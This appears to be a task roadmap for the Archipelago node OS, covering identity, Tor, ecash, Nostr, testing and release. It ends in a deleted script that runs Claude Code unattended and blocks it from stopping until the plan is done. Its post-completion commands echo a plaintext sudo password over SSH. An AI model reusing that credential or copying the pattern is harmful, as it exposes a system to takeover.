- [x] **ANIM-101** — fix(css): audit and improve all transition animations in style.css. In `neode-ui/src/style.css`, review every `transition` property. Standardize: (1) hover lifts use `transform: translateY(-2px)` with `transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1)`, (2) active presses use `translateY(1px)`, (3) color transitions use `transition: color 0.2s ease, background-color 0.2s ease`, (4) modal/overlay entrances use `transition: opacity 0.3s ease, transform 0.3s cubic-bezier(0.4, 0, 0.2, 1)`. Replace all `transition: all 0.3s ease` with specific properties to avoid animating layout properties. Deploy and verify animations feel smooth.
- [x] **ANIM-102** — fix(ui): add smooth page transitions between routes. In `neode-ui/src/views/Dashboard.vue`, wrap `<RouterView>` in a `<Transition>` component with `name="page"`. In `style.css`, add: `.page-enter-active, .page-leave-active { transition: opacity 0.2s ease, transform 0.2s ease; }` `.page-enter-from { opacity: 0; transform: translateY(8px); }` `.page-leave-to { opacity: 0; }`. This gives every page navigation a subtle fade-up entrance. Deploy and verify navigation feels smooth.
- [x] **ANIM-103** — fix(ui): add staggered entrance animations for card grids. In views that display card grids (Apps.vue, Marketplace.vue, Home.vue, Web5.vue), add staggered entrance animations so cards appear one after another with a 50ms delay. Use CSS `animation-delay` with `nth-child()` or Vue's `<TransitionGroup>`. The effect should be subtle — cards fade in and slide up slightly. Deploy and verify.
- [x] **ANIM-104** — fix(ui): smooth loading state transitions. In all views that have loading states, ensure the transition from loading to loaded is animated — not an instant swap. Use Vue's `<Transition>` with `mode="out-in"` around loading/content states. The loading spinner should fade out as the content fades in. Deploy and verify on Apps, Marketplace, Server, and Home views.
- [x] **ANIM-105** — fix(ui): polish the app launcher overlay animation. In `neode-ui/src/components/AppLauncherOverlay.vue`, ensure the overlay slides up smoothly when opening an app. Add a subtle backdrop blur transition. The iframe should have a loading indicator that fades out when the app loads. The close animation should slide down. Use `will-change: transform` for GPU acceleration. Deploy and verify.
### Phase 1D: Mobile Responsiveness
- [x] **MOB-101** — fix(ui): audit and fix all views at 375px (iPhone SE) width. Test every view at 375px: Login, Dashboard sidebar, Home, Apps, Marketplace, AppDetails, MarketplaceAppDetails, Settings, Web5, Cloud, Server, Chat. Fix: horizontal overflow, overlapping elements, text truncation, buttons too small to tap (min 44px touch target), broken grid layouts. Add or fix responsive Tailwind classes in `style.css`. Deploy and verify.
- [x] **MOB-102** — fix(ui): optimize sidebar navigation for mobile. The Dashboard sidebar should collapse to a bottom tab bar on mobile (< 768px). Show icons only with labels below. The mode switcher should be accessible from Settings on mobile. Ensure the sidebar doesn't overlap content on mobile. Deploy and verify.
- [x] **MOB-103** — fix(ui): optimize app launcher overlay for mobile. The app iframe launcher should be full-screen on mobile with a sticky top bar (app title + close + open-in-new-tab). On desktop, maintain the current overlay style. Deploy and verify apps are usable on mobile.
---
## Q2 2026 (JunAug): Identity & Onboarding
### Phase 2A: Multi-Identity System
- [x] **ID-101** — feat(backend): implement identity manager with multiple DIDs. Create `core/archipelago/src/identity/mod.rs` with: (1) `IdentityManager` struct that stores multiple identities in `/var/lib/archipelago/identity/`, (2) each identity has an Ed25519 keypair, a DID, a display name, and a purpose tag (personal, business, anonymous), (3) the first identity is created during onboarding, (4) RPC endpoints: `identity.list`, `identity.create`, `identity.delete`, `identity.get`, `identity.set-default`. Store identities encrypted using the node's master key. Build on server and deploy.
- [x] **ID-102** — feat(backend): implement identity signing service. Add `identity.sign` and `identity.verify` RPC endpoints. `identity.sign` takes a DID id and a message, returns a detached Ed25519 signature. `identity.verify` takes a DID, message, and signature, returns boolean. This enables apps to request signatures from the user's chosen identity. Build on server and deploy.
- [x] **ID-103** — feat(ui): identity management view. Create a new "Identity" section in the Web5 view (replace the hidden `v-if="false"` DID section at line 429 of `Web5.vue`). Show: (1) list of all identities with name, DID (truncated), purpose badge, (2) "Create Identity" button that opens a modal with name + purpose selector, (3) each identity card has Copy DID, Set Default, Delete actions, (4) the default identity shows a star badge. Wire to the backend RPC endpoints from ID-101. Deploy and verify.
- [x] **ID-104** — feat(ui): identity picker for service connections. Create a reusable `<IdentityPicker>` component that shows a dropdown of the user's identities with their names and truncated DIDs. When a service (like Indeehub) needs a DID, it calls this component to let the user choose which identity to use. The selected identity's DID and signing capability are then passed to the service.
- [x] **ID-105** — feat(backend): Nostr identity bridge. Each identity can optionally have an associated Nostr keypair (secp256k1). Add `identity.create-nostr-key` RPC that generates a Nostr keypair linked to an identity. Add `identity.nostr-sign` for NIP-01 event signing. This bridges the DID world with Nostr. The user's Nostr pubkey is derivable from their identity. Build on server and deploy.
- [x] **ID-106** — feat(apps): Indeehub identity integration. When opening Indeehub, pass the user's selected identity DID via the iframe URL or postMessage. Indeehub should recognize the user's sovereign identity without requiring account creation. Implement the postMessage protocol: parent sends `{ type: 'archipelago:identity', did: '...', signature: '...' }`, Indeehub responds with `{ type: 'archipelago:identity:ack' }`. Deploy and verify Indeehub recognizes the user.
### Phase 2B: Onboarding Flow Polish
- [x] **ONB-101** — fix(ui): polish onboarding intro animation. In `neode-ui/src/views/OnboardingIntro.vue`, add a cinematic entrance: the Archipelago logo fades in with a subtle scale (0.95 → 1.0), followed by the tagline sliding up, then the "Get Started" button fading in. Total duration: 2 seconds. Use CSS keyframe animations. Deploy and verify.
- [x] **ONB-102** — fix(ui): improve onboarding DID step UX. In `OnboardingDid.vue`, when the backend generates the DID, show a brief animation of key generation (spinning lock icon → checkmark). Display the DID in a styled card with a copy button. Explain in plain language: "This is your sovereign digital identity. It proves you are you, without any company in the middle." Deploy and verify.
- [x] **ONB-103** — fix(ui): add identity purpose selection to onboarding. After DID creation in onboarding, add a step where the user names their first identity (default: "Personal") and optionally selects a purpose (Personal, Business, Anonymous). This feeds into the multi-identity system from ID-101. Deploy and verify.
- [x] **ONB-104** — fix(ui): smooth transition between onboarding steps. Add a horizontal slide transition between onboarding steps — swiping left to advance, right to go back. Use `<Transition>` with `name="slide"` and direction-aware classes. Deploy and verify the flow feels like swiping through cards.
---
## Q3 2026 (SepNov): Network & Node Discovery
### Phase 3A: Node Overlay Network
- [x] **NET-101** — feat(backend): implement node visibility signaling. Create `core/archipelago/src/network/overlay.rs` with: (1) a `NodeVisibility` enum (Hidden, Discoverable, Public), (2) RPC endpoints `network.set-visibility` and `network.get-visibility`, (3) when set to Discoverable, the node publishes a Nostr NIP-33 replaceable event (kind 30078, tag `d:archipelago-node`) with its onion address and public DID, (4) when set to Hidden, the event is deleted. This uses the existing Nostr discovery code in `core/archipelago/src/nostr_discovery.rs`. Build on server and deploy.
- [x] **NET-102** — feat(backend): implement connection request protocol. Add RPC endpoints: `network.request-connection` (sends a connection request to a peer's onion address over Tor), `network.list-requests` (shows pending incoming requests), `network.accept-request` (adds peer to trusted list), `network.reject-request`. Connection requests are sent as encrypted Nostr DMs (NIP-04) containing the sender's DID and onion address. Build on server and deploy.
- [x] **NET-103** — feat(ui): node visibility controls in Web5 view. In the Web5 view, add a "Node Visibility" card (replace or augment the existing Connected Nodes section). Show: (1) current visibility status (Hidden/Discoverable/Public), (2) toggle to change visibility, (3) when Discoverable, show the node's onion address, (4) warning: "Making your node discoverable lets other Archipelago users find and connect with you." Wire to NET-101 RPCs. Deploy and verify.
- [x] **NET-104** — feat(ui): connection request management. In the Web5 view, add a "Connection Requests" tab to the Connected Nodes section. Show: (1) incoming requests with sender DID and timestamp, (2) Accept/Reject buttons, (3) notification badge on the Web5 sidebar icon when requests are pending. Wire to NET-102 RPCs. Deploy and verify.
- [x] **NET-105** — feat(backend): implement peer health monitoring. Add a background task that periodically (every 5 minutes) checks if connected peers are reachable over Tor. Update peer status in the database. Send WebSocket events when peer status changes. The existing `rpcClient.checkPeerReachable()` in Web5.vue already calls this — ensure the backend implementation is robust with timeouts. Build on server and deploy.
### Phase 3B: Tor Services Management
- [x] **TOR-101** — feat(backend): implement Tor hidden service management RPC. Create RPC endpoints: `tor.list-services` (returns all configured hidden services with their .onion addresses), `tor.create-service` (creates a new hidden service for a given local port), `tor.delete-service`, `tor.get-onion-address`. Read from `/var/lib/archipelago/tor/` directory structure. Currently Tor setup is hardcoded in deploy script — make it dynamic. Build on server and deploy.
- [x] **TOR-102** — feat(ui): Tor services management in Settings or Web5. Add a "Tor Services" section showing: (1) list of all hidden services with their .onion addresses and what app they expose, (2) toggle to enable/disable Tor for each service, (3) "Broadcast my services over Tor" master toggle, (4) copy .onion address button for each service. Wire to TOR-101 RPCs. Deploy and verify.
- [x] **TOR-103** — fix(deploy): make Tor hidden service creation dynamic. Refactor `scripts/deploy-to-target.sh` Tor section (lines 471-530) to read from a config file (`/var/lib/archipelago/tor/services.json`) instead of hardcoding services. When an app is installed that supports Tor, automatically add a hidden service entry. When uninstalled, remove it. Rebuild torrc from the config file and restart the Tor container. Deploy and verify.
- [x] **TOR-104** — feat(backend): Tor-based content serving. When a peer accesses your node over Tor, serve only the content you've explicitly made available. Create `core/archipelago/src/network/content_server.rs` with: (1) a list of shared content items (files, streams), (2) access control per item (free, paid via ecash), (3) a lightweight HTTP handler that serves content to authenticated peers. This is the foundation for content streaming. Build on server and deploy.
---
## Q4 2026 (DecFeb 2027): Ecash & Content Economy
### Phase 4A: Ecash Integration
- [x] **ECASH-101** — feat(backend): implement Cashu ecash wallet. Create `core/archipelago/src/wallet/ecash.rs` with: (1) Cashu wallet client that connects to the local Fedimint mint, (2) RPC endpoints: `wallet.ecash-balance`, `wallet.ecash-mint` (create ecash tokens from Lightning), `wallet.ecash-melt` (redeem ecash to Lightning), `wallet.ecash-send` (create ecash token for peer), `wallet.ecash-receive` (accept ecash token from peer). Use the Cashu protocol for interoperability. Build on server and deploy.
- [x] **ECASH-102** — feat(ui): ecash wallet in Web5 view. Replace the dummy "Web5 Wallet" card in Web5.vue (lines 221-268) with a real ecash wallet UI. Show: (1) ecash balance in sats, (2) Mint button (Lightning → ecash), (3) Melt button (ecash → Lightning), (4) Send button (generates ecash token string), (5) Receive button (paste ecash token), (6) transaction history. Wire to ECASH-101 RPCs. Deploy and verify.
- [x] **ECASH-103** — feat(backend): implement pay-per-access content gating. Extend the content server from TOR-104 with ecash payment verification. When content is marked as "paid", the server returns a 402 Payment Required with a Cashu invoice. The requesting peer pays with ecash, receives a receipt token, and includes it in subsequent requests. Implement in `core/archipelago/src/network/content_server.rs`. Build on server and deploy.
- [x] **ECASH-104** — feat(ui): content pricing controls. In the content sharing UI (to be built in Phase 4B), add pricing controls: (1) free/paid toggle per content item, (2) price in sats input, (3) "Pay what you want" option with minimum, (4) preview: "Peers will pay X sats to access this." Wire to backend content server config. Deploy and verify.
### Phase 4B: Content Streaming & File Sharing
- [x] **CONTENT-101** — feat(backend): implement content catalog RPC. Create `core/archipelago/src/network/content_catalog.rs` with: (1) `content.list-mine` — list content I'm sharing, (2) `content.add` — add a file or stream to my catalog, (3) `content.remove` — stop sharing, (4) `content.set-pricing` — free or ecash-gated, (5) `content.set-availability` — available to all peers, specific peers, or nobody. Store catalog in `/var/lib/archipelago/content/catalog.json`. Build on server and deploy.
- [x] **CONTENT-102** — feat(backend): implement peer content browsing. Add `content.browse-peer` RPC that connects to a peer's onion address over Tor and fetches their content catalog. Returns a list of available items with titles, descriptions, sizes, and prices. The peer's content server (TOR-104) serves the catalog at a well-known endpoint. Build on server and deploy.
- [x] **CONTENT-103** — feat(backend): implement content streaming protocol. For media files (video, audio), implement chunked streaming over Tor. The requesting node sends a range request, the serving node streams the content chunk by chunk. For paid content, payment is per-chunk (micropayments via ecash). Use HTTP range requests over the Tor hidden service. Build on server and deploy.
- [x] **CONTENT-104** — feat(ui): content sharing dashboard. Create a "Content" tab in the Web5 view. Show: (1) "My Shared Content" — list of files/streams you're sharing with pricing, (2) "Add Content" button — file picker to add from Cloud/FileBrowser, (3) "Browse Peers" — select a connected peer and browse their catalog, (4) download/stream buttons with payment flow for paid content. Deploy and verify.
- [x] **CONTENT-105** — feat(ui): content streaming player. When a user clicks to stream video/audio from a peer, open a media player in the app launcher overlay. Show: (1) video/audio player with standard controls, (2) streaming progress indicator, (3) cost tracker (total sats spent on this stream), (4) quality selector if multiple qualities available. Use HTML5 `<video>` or `<audio>` with the Tor-proxied stream URL. Deploy and verify.
### Phase 4C: Networking Profits — Real Data
- [x] **PROFIT-101** — feat(backend): implement networking profit tracking. Replace the dummy "₿0.024" in Web5.vue with real data. Create `core/archipelago/src/wallet/profits.rs` with: (1) track all ecash received from content sharing, (2) track Lightning routing fees (from LND), (3) RPC endpoint `wallet.networking-profits` that returns total earnings, breakdown by source, and time series. Build on server and deploy.
- [x] **PROFIT-102** — feat(ui): real networking profits display. Update the "Networking Profits" quick action in Web5.vue (lines 12-23) to show real data from PROFIT-101. Show total earnings, breakdown (content sales, routing fees), and a mini sparkline chart of recent earnings. Deploy and verify.
---
## Q1 2027 (MarMay): Web5 & Decentralized Services
### Phase 5A: DWN (Decentralized Web Node) Integration
- [x] **DWN-101** — feat(backend): implement DWN container management. Add a DWN service (using TBD's `dwn-server` or equivalent) as a marketplace app. The DWN stores the user's personal data and makes it accessible via DID-based protocols. In `core/archipelago/src/api/rpc/package.rs`, add DWN app config with proper ports and volumes. In Marketplace.vue, add DWN to the curated list. Deploy and verify.
- [x] **DWN-102** — feat(backend): implement DWN sync protocol. Create `core/archipelago/src/network/dwn_sync.rs` that: (1) syncs the user's DWN data with their other devices, (2) allows connected peers to query your DWN for data you've shared, (3) implements DWN protocol handlers for standard message types. Replace the `_syncDWNs()` TODO in Web5.vue with real functionality. Build on server and deploy.
- [x] **DWN-103** — feat(ui): make the DWN section in Web5 functional. Replace the hidden (`v-if="false"`) DWN section in Web5.vue (lines 481-530) with a real interface. Show: (1) DWN status (running/stopped/syncing), (2) storage usage, (3) sync status with connected nodes, (4) data protocols registered, (5) "Manage DWN" button that opens the DWN admin interface. Wire to DWN-102 RPCs. Deploy and verify.
### Phase 5B: Bitcoin Domain Names
- [x] **DOMAIN-101** — feat(backend): implement BNS (Bitcoin Name System) integration. Research and integrate a Bitcoin naming system (e.g., BNS on Stacks, or Nostr NIP-05 verification). Create `core/archipelago/src/identity/names.rs` with: (1) name registration, (2) name resolution, (3) linking a name to a DID. RPC endpoints: `identity.register-name`, `identity.resolve-name`, `identity.list-names`. Build on server and deploy.
- [x] **DOMAIN-102** — feat(ui): make Bitcoin Domain Names section functional. Replace the dummy "Bitcoin Domain Names" card in Web5.vue (lines 170-219) with real data. Show: (1) owned names with status, (2) registration flow, (3) name → DID linking, (4) expiry management. Wire to DOMAIN-101 RPCs. Deploy and verify.
### Phase 5C: Nostr Relay Management
- [x] **NOSTR-101** — feat(backend): implement Nostr relay management. Create RPC endpoints: `nostr.list-relays` (returns configured relays with connection status), `nostr.add-relay` (add a relay URL), `nostr.remove-relay`, `nostr.get-stats` (events stored, connected clients). Currently relay count is hardcoded to 8 in Web5.vue — make it real. Build on server and deploy.
- [x] **NOSTR-102** — feat(ui): make Nostr Relays section functional. Replace the dummy "Nostr Relays" card in Web5.vue (lines 270-319) with real data. Replace hardcoded `nostrRelaysConnected = ref(8)` with live data from NOSTR-101. Show: (1) connected relay count, (2) relay list with status indicators, (3) add/remove relay controls, (4) events stored count. Wire `manageRelays()` function to open a relay management modal. Deploy and verify.
- [x] **NOSTR-103** — feat(apps): run your own Nostr relay. Add `nostr-rs-relay` or `strfry` to the marketplace (already listed in PORTS.md). When installed, the user's node runs its own Nostr relay that: (1) stores their events locally, (2) can be made public for others, (3) gets a Tor hidden service automatically, (4) feeds into the node's relay list in the Nostr management UI. Deploy and verify.
### Phase 5D: Self-Sovereign Identity Service — Real Implementation
- [x] **SSI-101** — feat(backend): implement credential issuance and verification. Extend the identity manager with Verifiable Credential (VC) support: `identity.issue-credential` (issue a VC from one of your DIDs), `identity.verify-credential` (verify a VC against a DID), `identity.list-credentials`. Use W3C VC Data Model. Build on server and deploy.
- [x] **SSI-102** — feat(ui): make SSI section functional. Replace the hidden (`v-if="false"`) SSI section in Web5.vue (lines 532-581) with real data. Show: (1) managed identities count, (2) issued credentials list, (3) service status, (4) credential issuance flow. Deploy and verify.
---
## Q2 2027 (JunAug): Router & Network Infrastructure
### Phase 6A: Router Integration
- [x] **ROUTER-101** — feat(backend): implement UPnP port forwarding. Create `core/archipelago/src/network/router.rs` with: (1) UPnP device discovery, (2) automatic port forwarding for exposed services, (3) RPC endpoints: `router.discover`, `router.list-forwards`, `router.add-forward`, `router.remove-forward`. When a user enables "expose service X", automatically create UPnP port forwards. Build on server and deploy.
- [x] **ROUTER-102** — feat(backend): implement network diagnostics. Add `network.diagnostics` RPC that returns: (1) WAN IP address, (2) NAT type detection, (3) UPnP availability, (4) open ports test, (5) Tor connectivity status, (6) DNS resolution test, (7) recommended actions for improving connectivity. Build on server and deploy.
- [x] **ROUTER-103** — feat(ui): network settings dashboard. Create a "Network" view (or section in Settings) showing: (1) network status overview (WAN IP, NAT type, Tor status), (2) port forwarding management, (3) UPnP status and controls, (4) "Fix Network" wizard that guides users through common issues (double NAT, blocked ports), (5) Tailscale integration status. Wire to ROUTER-101/102 RPCs. Deploy and verify.
- [x] **ROUTER-104** — feat(backend): open-source router compatibility layer. Research OpenWrt, pfSense, and OPNsense APIs. Implement a router abstraction layer that can communicate with these routers directly (not just UPnP). When a compatible router is detected, offer enhanced features: direct port management, firewall rules, DNS configuration. Build on server and deploy.
### Phase 6B: Wallet & Payments Polish
- [x] **WALLET-101** — feat(ui): replace dummy wallet data with real backend. The Web5 wallet section currently shows hardcoded "₿0.025" balance and "12 pending" transactions. Connect to LND's wallet RPC to show: (1) real on-chain balance, (2) real Lightning balance, (3) ecash balance, (4) recent transactions. Deploy and verify.
- [x] **WALLET-102** — feat(ui): unified send/receive flow. Create a send/receive modal accessible from the wallet card. Support: (1) on-chain Bitcoin send/receive, (2) Lightning invoice create/pay, (3) ecash send/receive, (4) automatic method selection based on amount (ecash for small, Lightning for medium, on-chain for large). Deploy and verify.
- [x] **WALLET-103** — feat(backend): implement wallet connect protocol. Create a standard protocol for apps to request payments from the user's wallet. When an app (in iframe) needs a payment, it sends a postMessage to the parent. The parent shows a payment confirmation dialog. On confirm, the wallet makes the payment and returns a receipt. This replaces the `connectWallet` TODO in Web5.vue. Build on server and deploy.
---
## Q3 2027 (SepNov): Easy Mode & Goal System
### Phase 7A: Easy Mode Implementation
- [x] **EASY-101** — feat(ui): implement the Easy Mode home screen. Following `docs/three-mode-ui-design.md`, build `neode-ui/src/components/EasyHome.vue` with goal cards: Open a Shop, Accept Payments, Store My Photos, Store My Files, Run a Lightning Node, Create My Identity, Back Up Everything. Each card shows title, description, estimated time, difficulty, and a "Start" button. Use the existing glass-card design system. Deploy and verify.
- [x] **EASY-102** — feat(ui): implement the goal workflow wizard. Build `neode-ui/src/views/GoalDetail.vue` (may already exist partially) as a multi-step wizard. For each goal: (1) show all steps with status (completed/in-progress/pending), (2) auto-complete steps where the app is already installed, (3) real-time progress from WebSocket for installations, (4) "configure" steps open the app in iframe for user to complete. Wire to app installation RPCs. Deploy and verify with "Accept Payments" goal (Bitcoin + LND).
- [x] **EASY-103** — feat(stores): implement goal progress tracking. Create `neode-ui/src/stores/goals.ts` that: (1) tracks which goals the user has started/completed, (2) persists to backend via UIData, (3) computes step completion based on installed app status, (4) emits events for goal completion celebrations. Deploy and verify.
- [x] **EASY-104** — feat(ui): mode switcher in sidebar. Build `neode-ui/src/components/ModeSwitcher.vue` as a three-segment toggle (Easy / Pro / Chat). Place it in the Dashboard sidebar below the logo. When switching modes, sidebar navigation items change per the spec in `three-mode-ui-design.md`. Persist mode choice to localStorage and backend. Deploy and verify.
### Phase 7B: Pro Mode Enhancements
- [x] **PRO-101** — feat(ui): add Quick Start Goals to Pro mode home. At the bottom of the Pro mode Home view, add a "Quick Start Goals" section showing horizontal-scrolling goal cards. These link to the same GoalDetail wizard. Gives power users access to guided workflows without switching to Easy mode. Deploy and verify.
- [x] **PRO-102** — feat(ui): add goals to Spotlight Search. In `neode-ui/src/data/helpTree.ts`, add all goal definitions as searchable items with the "Quick Start Goals" category. When selected, navigate to the goal wizard. Deploy and verify goals appear in Cmd+K search.
### Phase 7C: Chat Mode — AIUI Integration
- [x] **CHAT-101** — feat(ui): implement Chat mode home with full AIUI integration. The existing Chat.vue loads AIUI in an iframe. In Chat mode, make this the primary interface. Add context-aware prompts: "What apps are installed?", "Set up Lightning", "How much disk space is left?". Wire to the context broker service. Deploy and verify.
- [x] **CHAT-102** — feat(backend): extend context broker for goal execution. When the user tells AIUI "Set up a Lightning node", the context broker should: (1) identify this as the "Run a Lightning Node" goal, (2) execute goal steps via RPC, (3) stream progress back to the chat. This bridges natural language to the goal system. Deploy and verify.
---
## Q4 2027 (DecFeb 2028): Testing & Reliability
### Phase 8A: Comprehensive App Testing
- [x] **TEST-201** — test(apps): automated install/uninstall test for all 24 marketplace apps. Create a test script that: (1) installs each app via RPC, (2) waits for container to start, (3) verifies health check passes, (4) verifies UI loads (curl the app port), (5) uninstalls the app, (6) verifies container is removed. Run on the dev server. Fix any failures.
- [x] **TEST-202** — test(apps): dependency chain test. Test all dependency chains: (1) Install Electrs → should prompt for Bitcoin first, (2) Install BTCPay → should install Bitcoin + LND + BTCPay in order, (3) Install Mempool → should install Bitcoin + Electrs + Mempool in order, (4) Install Fedimint Gateway → should require Fedimint Guardian + LND. Fix any broken chains.
- [x] **TEST-203** — test(apps): iframe/new-tab verification for all apps. For each running app, verify: (1) apps that should iframe actually load in iframe (test with fetch + check X-Frame-Options header), (2) apps that should open in new tab are correctly in `mustOpenInNewTab()`, (3) no mixed content errors on HTTPS. Fix any issues.
### Phase 8B: Network Testing
- [x] **TEST-204** — test(network): peer discovery and connection flow. Test: (1) enable node visibility → verify Nostr event published, (2) second node discovers first via Nostr, (3) connection request sent over Tor, (4) request accepted, peer added to list, (5) message sent between peers over Tor, (6) message received and displayed in UI. Fix any failures.
- [x] **TEST-205** — test(network): content sharing and ecash payments. Test: (1) share a file with ecash pricing, (2) peer browses content catalog, (3) peer pays ecash for content, (4) content downloads successfully, (5) ecash appears in seller's wallet, (6) free content downloads without payment. Fix any failures.
- [x] **TEST-206** — test(network): Tor hidden service reliability. Test: (1) all configured hidden services are reachable from outside the network, (2) hidden service survives container restart, (3) hidden service survives full node reboot, (4) new hidden services can be created dynamically, (5) removing a service removes the .onion address. Fix any failures.
### Phase 8C: Identity Testing
- [x] **TEST-207** — test(identity): multi-identity lifecycle. Test: (1) create identity during onboarding, (2) create additional identities, (3) sign a message with each identity, (4) verify signatures, (5) delete a non-default identity, (6) switch default identity, (7) use identity with Indeehub, (8) Nostr key generation and event signing. Fix any failures.
### Phase 8D: Performance & Stress Testing
- [x] **TEST-208** — test(perf): load test with all apps running simultaneously. Start all 24 apps on the dev server. Verify: (1) system remains responsive (UI loads < 3s), (2) no OOM kills, (3) WebSocket stays connected, (4) resource manager reports accurate usage, (5) no container crashes after 24 hours. Fix any issues.
- [x] **TEST-209** — test(perf): mobile performance audit. Test all views on a real mobile device (or emulator). Verify: (1) initial load < 5s on 4G, (2) route navigation < 1s, (3) smooth scrolling (60fps), (4) no janky animations, (5) app launcher overlay is usable on mobile. Fix any issues.
---
## Q1 2028 (MarMay): Final Polish & Release Prep
### Phase 9A: UX Micro-Interactions
- [x] **UX-101** — fix(ui): add haptic-like feedback to all interactive elements. Every button press, toggle switch, and card tap should have a subtle visual feedback (scale 0.97 on press, brighten on hover). Ensure consistent feel across the entire UI. Deploy and verify.
- [x] **UX-102** — fix(ui): add success/error toast animations. Create a polished toast notification system with: slide-in animation, auto-dismiss after 3s, swipe-to-dismiss on mobile, stacking for multiple toasts, success (green), error (red), info (blue) variants. Replace all `console.log` feedback with toasts. Deploy and verify.
- [x] **UX-103** — fix(ui): add skeleton loading screens for every view. Every view that fetches data should show a skeleton screen (animated gray placeholders matching the layout) instead of a blank page or spinner. Use a reusable `<SkeletonCard>` component. Deploy and verify.
- [x] **UX-104** — fix(ui): add empty state illustrations. For views with no data (no apps installed, no peers connected, no content shared), show a friendly empty state with an illustration, explanation text, and a call-to-action button. Deploy and verify.
### Phase 9B: Security Audit
- [x] **SEC-201** — security: comprehensive penetration test. Run a full penetration test covering: (1) authentication bypass attempts, (2) session management, (3) API input validation, (4) path traversal, (5) SSRF, (6) container escape, (7) ecash double-spend, (8) Tor deanonymization risks, (9) XSS/injection. Document all findings and fix critical/high issues.
- [x] **SEC-202** — security: secrets audit. Verify: (1) no hardcoded credentials in codebase, (2) all secrets use the secrets manager, (3) ecash wallet keys are encrypted at rest, (4) identity private keys are encrypted at rest, (5) backup encryption is sound, (6) TOTP secrets are encrypted. Fix any issues.
- [x] **SEC-203** — security: dependency audit. Run `npm audit` on frontend, `cargo audit` on backend. Fix all critical and high vulnerabilities. Pin all dependency versions. Verify no supply-chain risks.
### Phase 9C: ISO & Distribution
- [x] **ISO-101** — fix(iso): update ISO build to include all new features. Update `image-recipe/build-auto-installer-iso.sh` to: (1) include all new container images, (2) include DWN and Nostr relay containers, (3) include Fedimint Guardian + Gateway, (4) include all identity system files, (5) include updated nginx configs with all proxy blocks, (6) include updated first-boot script. Build and test ISO.
- [x] **ISO-102** — fix(iso): implement ISO auto-update mechanism. Create an update system: (1) node checks for updates via a Nostr event or signed manifest, (2) downloads delta updates (not full ISO), (3) applies updates with rollback capability, (4) updates frontend, backend binary, container images independently. Deploy and verify.
- [x] **ISO-103** — docs: create user-facing documentation. Write: (1) Getting Started guide (flash USB, install, first boot), (2) App Store guide (installing, managing apps), (3) Identity guide (creating DIDs, using with services), (4) Networking guide (connecting peers, sharing content), (5) Troubleshooting FAQ. Host in the UI as a help section.
### Phase 9D: Final Verification
- [x] **FINAL-201** — test(final): fresh install end-to-end test. Build a fresh ISO, install on clean hardware, and walk through the entire user journey: (1) boot and install, (2) onboarding with identity creation, (3) install Bitcoin + LND + Fedimint, (4) open Lightning channels, (5) share content, (6) connect to another node, (7) send ecash payment, (8) use Easy mode goal system, (9) use AIUI chat, (10) manage Tor services, (11) create multiple identities, (12) sign into Indeehub. Everything must work flawlessly.
- [x] **FINAL-202** — test(final): 72-hour stability test. Run the fully configured node for 72 continuous hours. Verify: (1) no memory leaks, (2) no container crashes, (3) WebSocket stays connected, (4) Tor services remain accessible, (5) peer connections survive, (6) ecash wallet balance is accurate, (7) all app UIs still load. Fix any issues.
- [x] **FINAL-203** — test(final): multi-node network test. Set up 3 Archipelago nodes. Verify: (1) all three discover each other via Nostr, (2) connection requests and acceptance work, (3) content sharing works between all pairs, (4) ecash payments work between all pairs, (5) peer-to-peer messaging works, (6) node going offline/online is handled gracefully by other nodes.
---
## Release Criteria (v1.0)
Before releasing to the public, ALL of these must be true:
- [x] All 24+ marketplace apps install, run, and open without errors
- [x] Iframe apps load in iframe, new-tab apps open in new tab — zero exceptions
- [x] App dependency chains install correctly in order
- [x] Fedimint Guardian + Gateway work together out of the box
- [x] Lightning channel management is easy and intuitive
- [x] Multi-identity system works with DID creation, signing, and service integration
- [x] Indeehub recognizes sovereign identity without account creation
- [x] Node overlay network: discover, connect, message over Tor
- [x] Content sharing with ecash micropayments works trustlessly
- [x] All Web5 sections show real data (no dummy content)
- [x] Easy mode goals guide users through complex multi-app setups
- [x] Chat mode leverages AIUI for natural language node management
- [x] Tor hidden services are manageable via UI
- [x] Router integration works with UPnP and open-source routers
- [x] Animations are smooth (60fps) on desktop and mobile
- [x] Mobile responsive on all screen sizes
- [x] Fresh ISO install → full functionality in under 1 hour
- [x] 72-hour stability test passes
- [x] Security audit passes with no critical/high findings
- [x] Zero TypeScript errors, zero Rust warnings, zero linter errors
---
## Post-Completion
```bash
# Final verification on live server
ssh -i ~/.ssh/archipelago-deploy archipelago@192.168.1.228 'echo "EwPDR8q45l0Upx@" | sudo -S systemctl status archipelago'
# Check all containers running
ssh -i ~/.ssh/archipelago-deploy archipelago@192.168.1.228 'sudo podman ps --format "table {{.Names}}\t{{.Status}}"'
# Run frontend checks
cd neode-ui && npm run type-check && npm run build
# Run backend checks on server
ssh -i ~/.ssh/archipelago-deploy archipelago@192.168.1.228 'cd ~/archy && cargo clippy --all-targets --all-features && cargo fmt --all --check'
# Visit http://192.168.1.228 and verify everything works
```

View File

@@ -1,201 +0,0 @@
#!/usr/bin/env sh
# Headless loop script for overnight Claude Code automation.
# Set CLAUDE_AUTONOMOUS=1 for Ralph Wiggum (Stop hook blocks until plan is complete).
# Rate-limit aware: detects limits, sleeps until reset, and retries automatically.
set -u
PROJECT_DIR="${CLAUDE_PROJECT_DIR:-$(cd "$(dirname "$0")/.." && pwd)}"
PROMPT_FILE="${PROMPT_FILE:-$PROJECT_DIR/loop/prompt.md}"
LOG_FILE="${LOG_FILE:-$PROJECT_DIR/loop/loop.log}"
ITERATION_COUNT="${ITERATION_COUNT:-10}"
ITERATION_DELAY="${ITERATION_DELAY:-30}"
CLAUDE_BIN="${CLAUDE_BIN:-claude}"
RATE_LIMIT_WAIT="${RATE_LIMIT_WAIT:-3600}"
MAX_RATE_LIMIT_RETRIES="${MAX_RATE_LIMIT_RETRIES:-5}"
CLAUDE_EXIT=0
cd "$PROJECT_DIR"
log() {
echo "$1" | tee -a "$LOG_FILE"
}
banner() {
log ""
log "================================================================"
log " $1"
log " $(date '+%Y-%m-%d %H:%M:%S')"
log "================================================================"
log ""
}
section() {
log ""
log "----------------------------------------"
log " $1"
log "----------------------------------------"
log ""
}
plan_has_tasks() {
grep -q '^\- \[ \]' "$PROJECT_DIR/loop/plan.md" 2>/dev/null
}
remaining_tasks() {
grep -c '^\- \[ \]' "$PROJECT_DIR/loop/plan.md" 2>/dev/null || echo "0"
}
next_task() {
grep -m1 '^\- \[ \]' "$PROJECT_DIR/loop/plan.md" 2>/dev/null | sed 's/^- \[ \] //' || echo "(none)"
}
check_rate_limit() {
